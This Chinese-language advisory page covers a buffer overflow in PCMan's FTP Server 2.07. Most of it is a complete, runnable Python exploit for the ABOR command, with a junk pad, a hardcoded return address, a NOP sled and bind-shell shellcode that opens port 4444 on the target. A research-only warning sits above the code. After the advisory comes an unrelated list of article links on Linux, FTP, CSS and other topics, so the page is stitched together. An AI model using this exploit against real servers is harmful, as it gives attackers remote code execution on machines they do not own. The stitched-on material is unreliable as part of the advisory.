发布日期:2014-01-29

更新日期:2014-02-19

受影响系统:

sourceforge PCMan's FTP Server 2.07

描述:

--------------------------------------------------------------------------------

BUGTRAQ  ID: 65299

PCMan's FTP Server是简单易于的基础FTP服务器。

PCMan's FTP Server 2.07版本在处理特制的USER, PASS, STOR, ABOR, CWD命令时没有正确验证用户提供的输入,在实现上存在溢出漏洞,这可使远程攻击者造成拒绝服务,执行任意代码。

链接:http://osvdb.org/show/osvdb/94624

*>

测试方法:

--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

# Exploit Title: PCMAN FTP 2.07 ABOR Command Buffer Overflow

# Date: Jan 25,2014

# Exploit Author: Mahmod Mahajna (Mahy)

# Version: 2.07

# Tested on: Windows 7 sp1 x64 (english)

# Email: m.dofo123@gmail.com

import socket as s

from sys import argv

#

if(len(argv) != 4):

print "USAGE: %s host " % argv[0]

exit(1)

else:

#store command line arguments

script,host,fuser,fpass=argv

#vars

junk = '\x41' * 2011 #overwrite function (ABOR) with garbage/junk chars

espaddress = '\x59\x06\xbb\x76' # 76BB0659

nops = '\x90' * 10

shellcode = ( # BIND SHELL | PORT 4444

"\x31\xc9\xdb\xcd\xbb\xb3\x93\x96\x9d\xb1\x56\xd9\x74\x24\xf4"

"\x5a\x31\x5a\x17\x83\xea\xfc\x03\x5a\x13\x51\x66\x6a\x75\x1c"

"\x89\x93\x86\x7e\x03\x76\xb7\xac\x77\xf2\xea\x60\xf3\x56\x07"

"\x0b\x51\x43\x9c\x79\x7e\x64\x15\x37\x58\x4b\xa6\xf6\x64\x07"

"\x64\x99\x18\x5a\xb9\x79\x20\x95\xcc\x78\x65\xc8\x3f\x28\x3e"

"\x86\x92\xdc\x4b\xda\x2e\xdd\x9b\x50\x0e\xa5\x9e\xa7\xfb\x1f"

"\xa0\xf7\x54\x14\xea\xef\xdf\x72\xcb\x0e\x33\x61\x37\x58\x38"

"\x51\xc3\x5b\xe8\xa8\x2c\x6a\xd4\x66\x13\x42\xd9\x77\x53\x65"

"\x02\x02\xaf\x95\xbf\x14\x74\xe7\x1b\x91\x69\x4f\xef\x01\x4a"

"\x71\x3c\xd7\x19\x7d\x89\x9c\x46\x62\x0c\x71\xfd\x9e\x85\x74"

"\xd2\x16\xdd\x52\xf6\x73\x85\xfb\xaf\xd9\x68\x04\xaf\x86\xd5"

"\xa0\xbb\x25\x01\xd2\xe1\x21\xe6\xe8\x19\xb2\x60\x7b\x69\x80"

"\x2f\xd7\xe5\xa8\xb8\xf1\xf2\xcf\x92\x45\x6c\x2e\x1d\xb5\xa4"

"\xf5\x49\xe5\xde\xdc\xf1\x6e\x1f\xe0\x27\x20\x4f\x4e\x98\x80"

"\x3f\x2e\x48\x68\x2a\xa1\xb7\x88\x55\x6b\xce\x8f\x9b\x4f\x82"

"\x67\xde\x6f\x34\x2b\x57\x89\x5c\xc3\x31\x01\xc9\x21\x66\x9a"

"\x6e\x5a\x4c\xb6\x27\xcc\xd8\xd0\xf0\xf3\xd8\xf6\x52\x58\x70"

"\x91\x20\xb2\x45\x80\x36\x9f\xed\xcb\x0e\x77\x67\xa2\xdd\xe6"

"\x78\xef\xb6\x8b\xeb\x74\x47\xc2\x17\x23\x10\x83\xe6\x3a\xf4"

"\x39\x50\x95\xeb\xc0\x04\xde\xa8\x1e\xf5\xe1\x31\xd3\x41\xc6"

"\x21\x2d\x49\x42\x16\xe1\x1c\x1c\xc0\x47\xf7\xee\xba\x11\xa4"

"\xb8\x2a\xe4\x86\x7a\x2d\xe9\xc2\x0c\xd1\x5b\xbb\x48\xed\x53"

"\x2b\x5d\x96\x8e\xcb\xa2\x4d\x0b\xfb\xe8\xcc\x3d\x94\xb4\x84"

"\x7c\xf9\x46\x73\x42\x04\xc5\x76\x3a\xf3\xd5\xf2\x3f\xbf\x51"

"\xee\x4d\xd0\x37\x10\xe2\xd1\x1d\x1a\xcd")

sploit = junk+espaddress+nops+shellcode

#create socket

conn = s.socket(s.AF_INET,s.SOCK_STREAM)

#establish connection to server

conn.connect((host,21))

#post ftp user

conn.send('USER '+fuser+'\r\n')

#wait for response

uf = conn.recv(1024)

#post ftp password

conn.send('PASS '+fpass+'\r\n')

#wait for response

pf = conn.recv(1024)

#send ftp command with sploit

conn.send('ABOR '+sploit+'\r\n')

cf = conn.recv(1024)

#close connection

conn.close()

建议:

--------------------------------------------------------------------------------

厂商补丁:

sourceforge

-----------

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

cwd命令linux,PCMan's FTP Server 'CWD'命令缓冲区溢出漏洞相关推荐

  1. linux ftp主动和被动模式切换命令,Linux iptables配置FTP的主动和被动模式

    先理解主被动的联接方式: FTP协议有两种工作方式:PORT方式和PASV方式,中文意思为主动式和被动式. Port模式:ftp server:tcp 21 client:dynamic Pasv模式 ...

  2. linux ftp 未找到命令,Linux不能使用FTP 命令 -bash: ftp: command not found

    Linux下登陆 Linux中使用 FTP 命令时出现"-bash: ftp: command not found" Linux中测试搭建 FTP 服务器,刚安装完 vsftpd ...

  3. cwd命令linux,linux qsub cwd

    弹性高性能计算E-HPC的管理控制台提供了作业相关的创建作业.停止作业.查看作业状态等功能,用户可通过作业管理功能快速创建作业. 进入作业界面 进入E-HPC管理控制台,点选左侧栏的作业标签,进入如下 ...

  4. Kali Linux 基于FreeFloat FTP Server编写漏洞渗透模块(下)

    目录 说明 Immunity Debugger+Mona 找到JMP ESP指令 漏洞渗透程序 在Immunity Debugger查看发送的字符 编写执行的程序 确定坏字符 Metasploit生成 ...

  5. linux服务器里边ftp命令,Linux SSH使用FTP命令与另一台服务器的FTP的传输说明

    以下是ftp命令在Linux下对另一台服务器的ftp空间进行相互传输的命令讲解. 如果没有ftp 提示: -bash: ftp: command not found 请先安装ftp应用程序: yum ...

  6. js ftpclient linux server,Node.JS用Socket实现FTP Server服务器和Client客户端

    通信过程 FTP协议其实就是主机和服务通过Socket进行固定格式的通信过程,当某客户端连接到FTP 服务器后,客户端发送指令: [参数] 服务会按以下格式返回: [参数或说明] 例如以下是FileZ ...

  7. linux系统的ftp命令大全,linux系统ftp命令(示例代码)

    先来一段简单的ftp 下载脚本 ftp -i -n< open 14.2.33.211 user etl etl cd /etlfile/ftpfile lcd /etlfile/getfile ...

  8. Linux桌面环境与命令行环境切换快捷键,以及linux 图形界面 X Server 关闭 启动

    1 Linux桌面环境与命令行环境切换快捷键 1.从linux桌面环境切换到命令行终端 Ctrl+Alt+F1-F6:进入虚拟终端或虚拟控制台,其中F1~F6对应与6个不同的虚拟终端.进入终端输入用户 ...

  9. linux命令行下的ftp 多文件下载和目录下载

    目标ftp服务器是一个非标准端口的ftp 1.通过shell登录#ftp    //shell下输入ftp命令,进入到ftp提示符>open IP  PORT   //IP ,PORT对应为服务 ...

最新文章

  1. 自定义cell中自定义的button的点击事件
  2. Memcache配置
  3. 一个小厂前端 Leader 如何筛选候选人?
  4. 光华科技光刻胶_光刻胶领衔国产替代,20只相关优质个股曝光,快看看有没有你的...
  5. vue项目,cli-3.0项目部署运行报错:Uncaught SyntaxError: Unexpected token
  6. 数组实例的find() 和 findIndex()方法
  7. Python: 分数运算
  8. LeetCode 647 回文子串
  9. 前端基础学习之CSS选择器
  10. 1、C语言从入门到精通一一概述
  11. 自己写段代码批量修改照片的Exif数据
  12. bat批处理命令:实现读取文件内容,并调用浏览器打开网址,搜索文件内容
  13. CC2430基础——LED控制实验
  14. html发送邮件通过Mailto简单实现-web前端教程
  15. 论文笔记5:Noise Reduction of Hyperspectral Imagery Using Hybrid Spatial-Spectral Derivative-Domain Wavel
  16. c#圆的周长和面积面向对象_初遇C#:一个简单的小程序(圆形周长,面积计算器)...
  17. 20P60 PR模板预设10 VHS专业预设包制作旧镜头复古磁带效果含背景音乐
  18. linux 多wan口 路由器,真假多WAN负载均衡
  19. 遗传算法matlab优化实例,用遗传算法优化BP神经网络的Matlab编程实例
  20. CBQ的理解以及策略嵌套(待证实)

热门文章

  1. 知乎网的CSS命名规律研究
  2. 阿里云云计算高级工程师ACP认证(Alibaba Cloud Certified Professional - Cloud Computing)考试大纲
  3. 16个最佳PSD文件下载网站
  4. 蚂蚁金服区块链朱永春:蚂蚁金服业务新思路,用以往通用场景结合出新的解决方案...
  5. SpringBoot整合Mybaits开发报java.lang.IllegalArgumentException: At least one base package must be specifie
  6. Oceanbase和TiDB粗浅对比之 - 执行计划
  7. Self-Attention Generative Adversarial Networks(SAGAN)理解
  8. 海康威视相机开发(一)
  9. 3dMAX对电脑配置是怎么样的?
  10. 精彩回顾 | Dev.Together 2022 开发者生态峰会圆满落幕